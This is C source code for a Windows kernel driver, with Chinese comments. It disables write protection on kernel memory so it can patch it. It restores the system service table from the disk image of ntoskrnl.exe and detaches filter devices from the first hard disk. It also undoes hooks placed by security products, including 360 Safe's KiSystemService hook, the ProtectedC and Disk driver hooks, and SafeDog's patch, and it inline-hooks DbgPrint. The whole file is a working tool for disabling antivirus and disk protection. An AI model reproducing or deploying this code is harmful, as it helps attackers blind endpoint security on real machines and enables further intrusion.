#include<ntddk.h>
#include<stdio.h>
ULONG * realssdt;
#define SEC_IMAGE 0x01000000
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SDT, *PSDT;
extern PSDT KeServiceDescriptorTable;
#pragma pack()
extern POBJECT_TYPE* IoDriverObjectType;
#define DWORD unsigned long
PDEVICE_OBJECT dr0attach;
PDEVICE_OBJECT dr0dev;
ULONG devctrl,scsi,power,sysctrl,pnp;
ULONG retaddr;
NTSYSAPI
NTSTATUS
NTAPI
ZwAccessCheckAndAuditAlarm(
PUNICODE_STRING SubsystemName,
PVOID HandleId,
PUNICODE_STRING ObjectTypeName,
PUNICODE_STRING ObjectName,
PSECURITY_DESCRIPTOR SecurityDescriptor,
ACCESS_MASK DesiredAccess,
PGENERIC_MAPPING GenericMapping,
BOOLEAN ObjectCreation,
PACCESS_MASK GrantedAccess,
PBOOLEAN AccessStatus,
PBOOLEAN GenerateOnClose);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID* Object );
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenDirectoryObject(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[255];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
ULONG GetModuleBase(char* name){
ULONG n,i ;
PSYSTEM_MODULE_INFORMATION module;
PVOID pbuftmp;
char modulename[255];
ZwQuerySystemInformation(11, &n, 0, &n);
pbuftmp = ExAllocatePool(NonPagedPool, n);
ZwQuerySystemInformation(11, pbuftmp, n, NULL);
module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n = *((PULONG)pbuftmp );
for ( i = 0; i < n; i++ )
{
strcpy(modulename,module.ImageName + module.ModuleNameOffset);
if(!_strnicmp(modulename,name,strlen(name))){
ExFreePool(pbuftmp);
return (ULONG)module.Base;
}
}
ExFreePool(pbuftmp);
return 0;
}
VOID PatchSSDT(){
ULONG offset,i,imagebase,kernelbase;
UNICODE_STRING ntoskrnl;
OBJECT_ATTRIBUTES oa;
IO_STATUS_BLOCK iosb;
SIZE_T size=0;
PVOID base= NULL;
HANDLE hFile,hSection;
realssdt=ExAllocatePool(0,KeServiceDescriptorTable->NumberOfServices*4);
RtlInitUnicodeString(&ntoskrnl,L"\\SystemRoot\\System32\\ntoskrnl.exe");
InitializeObjectAttributes(&oa,&ntoskrnl, OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE ,0,0);
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE , &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
ZwMapViewOfSection(hSection, NtCurrentProcess (), &base, 0, 1000, 0, &size,( SECTION_INHERIT ) 1 , MEM_TOP_DOWN , PAGE_READWRITE);
ZwClose(hFile);
kernelbase=GetModuleBase("ntoskrnl.exe");
imagebase=*(ULONG*)((ULONG)base+*(ULONG*)((ULONG)base+0x3C)+13*4);
offset=*(ULONG*)KeServiceDescriptorTable-GetModuleBase("ntoskrnl.exe");
RtlCopyMemory(realssdt,(PVOID )(offset+(ULONG)base),(KeServiceDescriptorTable->NumberOfServices*4));
for(i=0;i<KeServiceDescriptorTable->NumberOfServices;i++,realssdt++)
{
*realssdt=*realssdt-imagebase+kernelbase;//取得内存里正确的地址,然后修改回去
*(ULONG*)((ULONG)KeServiceDescriptorTable->ServiceTableBase+i*4)=*realssdt;
}
}
VOID FindDispatch(){//从atapi.sys文件读取原本的dispatch routine
NTSTATUS status;
HANDLE Handle;
UNICODE_STRING atapi;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
FILE_STANDARD_INFORMATION NumberOfBytes;
PVOID buf;
ULONG PE,opthead,init,initpointer,Length,secnum,rawsize,rawpointer,limit,base;
int i;
RtlInitUnicodeString(&atapi,L"\\SystemRoot\\System32\\drivers\\atapi.sys");
ObjectAttributes.ObjectName = &atapi;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes =576;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
status = IoCreateFile(&Handle,GENERIC_READ,&ObjectAttributes,&IoStatusBlock,0,FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,FILE_OPEN,0x50u,0,0,0,0,0);
if(status<0){
DbgPrint("Open File failed...%08x..",status);
return ;
}
status = ZwQueryInformationFile(Handle, &IoStatusBlock, &NumberOfBytes, 24, FileStandardInformation);
if(status<0){
DbgPrint("ZwQueryInformationFile File failed...%08x..",status);
return ;
}
buf= ExAllocatePool(0, NumberOfBytes.AllocationSize.LowPart);
if(buf==NULL)
{
DbgPrint("ExAllocatePoolWithTag failed");
return ;
}
ZwReadFile(Handle, 0, 0, 0, &IoStatusBlock, buf,NumberOfBytes.AllocationSize.LowPart, 0, 0);
PE=(ULONG)buf;
for(i=0;i<0x1000;i++){
if(!_stricmp((const char*)PE,"pe"))
break;
PE++;
}
DbgPrint("PE Header 0x%x 0x%.2x 0x%.2x",PE, *(UCHAR*)(PE),*(UCHAR*)((ULONG)PE+1));
opthead = *(unsigned short *)(PE + 20); //SizeofOptionalHeader
DbgPrint("SizeofOptionalHeader - 0x%x",opthead );
init = opthead + PE + 24;
initpointer=init;
Length = 0;
while (_stricmp((const char*)init,"init"))
{
initpointer += 40;
secnum = *(DWORD *)(PE + 6);
++Length;
if ( Length >= secnum )
break;
init = initpointer;
}
init = initpointer;
if ( Length == *(DWORD *)(PE+ 6) )
DbgPrint("No found INit seg\r\n");
else
{
rawpointer = *(DWORD *)(init + 20);
rawsize = *(DWORD *)(init + 16);
DbgPrint("rawpointer 0x%x",rawpointer);
DbgPrint("rawsize 0x%x",rawsize);
limit=rawpointer+rawsize;
if(rawpointer<rawpointer+rawsize){
while ( *((unsigned char *)buf + rawpointer) != 0xC7
|| *((unsigned char *)buf + rawpointer + 2) != 0x30
|| *((unsigned char *)buf + rawpointer + 7) != 0xC7
|| *((unsigned char *)buf + rawpointer + 9) != 0x34
|| *((unsigned char *)buf + rawpointer + 14) != 0xC7
|| *((unsigned char *)buf + rawpointer + 21) != 0xC7
|| *((unsigned char *)buf + rawpointer + 28) != 0xC7 )//寻找Major Function
{
++rawpointer;
if ( rawpointer >= limit)
{
ExFreePool(buf);
ZwClose(Handle);
return;
}
}
scsi=*(DWORD *)((ULONG)buf + rawpointer + 17) -0x10000;//IRP_MJ_SCSI
devctrl=*(DWORD *)((ULONG)buf + rawpointer+ 24) -0x10000;//IRP_MJ_DEVICE_CONTROL
power=*(DWORD *)((ULONG)buf + rawpointer + 34) -0x10000;//IRP_MJ_POWER
pnp=*(DWORD *)((ULONG)buf + rawpointer + 44) -0x10000;//IRP_MJ_PNP
sysctrl=*(DWORD *)((ULONG)buf + rawpointer + 54) -0x10000;//IRP_MJ_SYSTEM_CONTROL
base=GetModuleBase("atapi.sys");
scsi+=base;
devctrl+=base;
power+=base;
pnp+=base;
sysctrl+=base;
DbgPrint("scsi-0x%x devctrl-0x%x power-0x%x sysctrl-0x%x pnp-0x%x",scsi,devctrl,power,sysctrl,pnp);
}
}
ExFreePool(buf);
ZwClose(Handle);
}
_declspec(naked) ULONG
MyDbgPrint(
){
_asm{
push eax
mov eax,[esp+4]
cmp dword ptr [eax], 3E86859h
jnz end
cmp dword ptr [eax+4], 0EE80000h
jnz end
mov eax, [ebp+4]
cmp eax, 80000000h
jb end
cmp byte ptr [eax], 83h
jnz end
cmp byte ptr [eax+1], 4Dh
jnz end
cmp byte ptr [eax+2], 0FCh
jnz end
cmp byte ptr [eax+3], 0FFh
jnz end
cmp byte ptr [eax+4], 6Ah
push dword ptr [ebp-4]
call ZwClose
pop eax
jmp dword ptr [ebp+4]
end:
pop eax
push ebp
mov ebp, esp
jmp [retaddr]
}
}
_declspec(naked)int recover(){
_asm{
sub esp,ecx
shr ecx,2
mov edi,esp
cmp esi, 7FFF0000h
}
}
VOID
Reinitialize(
IN PDRIVER_OBJECT DriverObject,
IN PVOID Context,
IN ULONG Count
){
OBJECT_ATTRIBUTES ObjectAttributes;
PDEVICE_OBJECT devobj;
UNICODE_STRING aDeviceHarddisk,aDriverProtecte;
UNICODE_STRING aDriverAtapi,aDriverDisk,safedog;
HANDLE DirectoryHandle;
PVOID Object;
PDRIVER_OBJECT atapiobj,protectdrv,diskdrv,dogdrv;
ULONG mjcreate,systemservice,foundaddr,pointer,iopointer,dbgpoint;
int v10,i;
unsigned int count;
RtlInitUnicodeString(&aDeviceHarddisk,L"\\Device\\Harddisk0");
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName =&aDeviceHarddisk;
ObjectAttributes.Attributes = 64;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
if ( !ZwOpenDirectoryObject(&DirectoryHandle, DIRECTORY_QUERY, &ObjectAttributes) )
{
if ( !ObReferenceObjectByHandle(DirectoryHandle, 1, 0, 0, &Object, 0) )
{
if ( Object )
{
count = 0;
while (count < 0x28 )//抹掉DR0的AttachDevice
{
v10 = *((DWORD *)Object + count);
if ( v10 )
{
devobj = *(PDEVICE_OBJECT*)(v10 + 4);
if ( devobj->Type == 3 ) {
if ( devobj->AttachedDevice )
{
dr0attach = devobj->AttachedDevice;
dr0dev = devobj;
devobj->AttachedDevice = 0;
break;
}
}
}
++count;
}
}
ObDereferenceObject( Object);
}
ZwClose(DirectoryHandle);
}
__asm
{
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
}
RtlInitUnicodeString(&aDriverAtapi,L"\\Driver\\atapi");
ObReferenceObjectByName(&aDriverAtapi,64,0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0,&atapiobj);
FindDispatch();
atapiobj->MajorFunction[IRP_MJ_SCSI]=(PDRIVER_DISPATCH)scsi;
atapiobj->MajorFunction[IRP_MJ_DEVICE_CONTROL]=(PDRIVER_DISPATCH)devctrl;
atapiobj->MajorFunction[IRP_MJ_POWER]=(PDRIVER_DISPATCH)power;
atapiobj->MajorFunction[IRP_MJ_PNP ]=(PDRIVER_DISPATCH)pnp;
atapiobj->MajorFunction[IRP_MJ_SYSTEM_CONTROL ]=(PDRIVER_DISPATCH)sysctrl;
RtlInitUnicodeString(&aDriverProtecte,L"\\Driver\\ProtectedC");
RtlInitUnicodeString(&aDriverDisk,L"\\Driver\\Disk");
if ( !ObReferenceObjectByName(&aDriverProtecte, 64, 0,OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &protectdrv) )
{
if ( protectdrv )
{
if ( !ObReferenceObjectByName(&aDriverDisk, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &diskdrv) )
{
if ( diskdrv )
{
if ( diskdrv->MajorFunction[IRP_MJ_CREATE] == diskdrv->MajorFunction[IRP_MJ_CLOSE ] )
{
mjcreate = (ULONG)diskdrv->MajorFunction[IRP_MJ_CREATE];
i=0;
while(i<=IRP_MJ_MAXIMUM_FUNCTION)
diskdrv->MajorFunction[i++]=(PDRIVER_DISPATCH)mjcreate;
}
}
}
}
}
PatchSSDT();
systemservice=(ULONG)ZwAccessCheckAndAuditAlarm+13+*(ULONG*)((ULONG)ZwAccessCheckAndAuditAlarm+13)+4;
DbgPrint("KiSystemService - %x",systemservice);
count=0;
foundaddr=0;
while(count<0x300)
{
if(*(unsigned char*)(systemservice+count)==0x8B&&
*(unsigned char*)(systemservice+count+1)==0x1C&&
*(unsigned char*)(systemservice+count+2)==0x87)
{
foundaddr=systemservice+count+3;
break;
}
count++;
}
//还原360保险箱对KiSystemService的钩子
/*
804d5e77 8b1c87 mov ebx,dword ptr [edi+eax*4]
804d5e7a 2be1 sub esp,ecx
804d5e7c c1e902 shr ecx,2
804d5e7f 8bfc mov edi,esp
804d5e81 3b35b4745480 cmp esi,dword ptr [nt!MmUserProbeAddress (805474b4)]
*/
if(foundaddr){
*(ULONG*)((ULONG)recover+9)=*(ULONG*)MmUserProbeAddress;
pointer=(ULONG)recover;
for(i=0;i<13;i++,foundaddr++,pointer++)
*(unsigned char*)foundaddr=*(unsigned char*)pointer;
}
RtlInitUnicodeString(&safedog,L"\\Driver\\SafeDog");
if ( !ObReferenceObjectByName(&safedog, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &dogdrv))
{
if(dogdrv)
{
iopointer=(ULONG)IoGetDeviceObjectPointer;
*(unsigned char*)(iopointer)=0x8b;
*(unsigned char*)(iopointer+1)=0xff;
*(unsigned char*)(iopointer+2)=0x55;
*(unsigned char*)(iopointer+3)=0x8b;
*(unsigned char*)(iopointer+4)=0xec;
}
}
dbgpoint=(ULONG)DbgPrint;//inline DbgPrint()
retaddr=dbgpoint+5;
*(unsigned char*)dbgpoint=0xE9;
*(ULONG*)((ULONG)dbgpoint+1)=(ULONG)MyDbgPrint-(ULONG)dbgpoint-5;
__asm
{
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
}
}
NTSTATUS
Dispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
){
IofCompleteRequest(Irp, 0);
return 0;
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING SymbolicLinkName;
RtlInitUnicodeString(&SymbolicLinkName,L"\\DosDevices\\32ef43d02471c26e");
IoDeleteSymbolicLink(&SymbolicLinkName);
IoDeleteDevice(DriverObject->DeviceObject);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
PDEVICE_OBJECT DeviceObject;
UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
RtlInitUnicodeString(&DeviceName,L"\\Device\\32ef43d02471c26e");//随机生成的路径
RtlInitUnicodeString(&SymbolicLinkName,L"\\DosDevices\\32ef43d02471c26e");
if ( !IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_NULL , 0, TRUE, &DeviceObject) )
{
if ( IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName) )
{
IoDeleteDevice(DeviceObject);
}
else
{
DriverObject->MajorFunction[IRP_MJ_CREATE ] = Dispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE ] = Dispatch;
DriverObject->DriverUnload = DriverUnload;
IoRegisterDriverReinitialization(DriverObject, Reinitialize,0);
}
}
return 0;
}